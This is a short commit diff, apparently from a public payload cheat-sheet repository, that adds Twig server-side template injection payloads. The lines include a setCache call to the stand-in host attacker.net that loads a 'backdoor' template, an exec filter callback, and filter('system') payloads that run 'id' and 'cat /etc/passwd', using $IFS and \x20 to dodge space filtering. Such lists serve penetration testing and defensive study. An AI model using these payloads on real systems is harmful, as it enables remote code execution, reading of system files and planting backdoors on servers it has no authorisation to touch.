Merge pull request from SakiiR/sakiir

Added filter(system) twig RCE
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Swissky 2020-03-30 09:28:58 +02:00 committed by GitHub
commit b5cc379c4b
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@ -157,6 +157,9 @@ $output = $twig > render (
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
```
Example with an email passing FILTER_VALIDATE_EMAIL PHP.